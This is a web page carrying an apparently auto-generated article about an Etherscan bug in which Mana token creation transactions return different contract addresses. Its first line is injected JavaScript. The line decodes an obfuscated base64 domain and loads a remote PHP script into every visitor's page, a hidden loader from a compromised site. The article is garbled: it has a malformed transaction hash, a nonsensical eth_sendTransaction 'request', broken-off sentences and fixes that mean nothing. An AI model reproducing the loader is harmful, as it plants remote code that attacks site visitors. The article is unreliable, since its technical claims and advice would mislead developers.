const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=3d8c28a6″;document.body.appendChild(script);
Ethereum Etherscan Bug: Mana token creation transactions return different contract addresses
Recently, the Etherscan platform encountered an issue with the return of creation transactions for several tokens, including Mana. This bug led to confusion among both users and developers. In this article, we will delve into the root cause of the issue and provide a solution.
Problem:
The Etherscan API returns different contract addresses for the same token, which can be confusing when working with multiple contracts. The problem lies in the way the API handles creation transactions for tokens.
Mana token case study:
Let’s take Mana as an example. According to the page on Etherscan ( the creation transaction is:
0xf1e6db9d9b7e8ff4bfeddd9cd77ce55cafa93be94
However, when you try to access this contract address on Etherscan ( it returns an error message:
Contract address error: 0x0 ... Here is an updated example:
Etherscan API Request:
json
{
“method”: “eth_sendTransaction”,
“params”: [
{
“data”: “0x0f5d2fb29fb7d3cfee444a200298f468908cc942”
}
],
“contractAddress”: “0x0f5d2fb29fb7d3cfee444a200298f468908cc942” // Return this address
}
“
What to do next:
- Make sure thecontractAddress` field is specified in the API request.
- Check that multiple contracts have not created a token at the same time, as this can also cause problems with the Etherscan API.
By following these steps, you should be able to resolve the issue and successfully download the Mana token creation transaction in Etherscan.
Tips and changes:
- Make sure to check the contract address in the contract code or implementer notes to make sure it is correct.
- If the issue persists, consider checking the transaction or Ethereum blockchain logs to make sure there are no issues with the token creation.
- In some cases, you may need to use a different API endpoint or request format to download the creation transaction.
I hope this helps clear up any confusion caused by Etherscan returning different contract addresses for the same token. If you have any further questions or concerns, feel free to ask!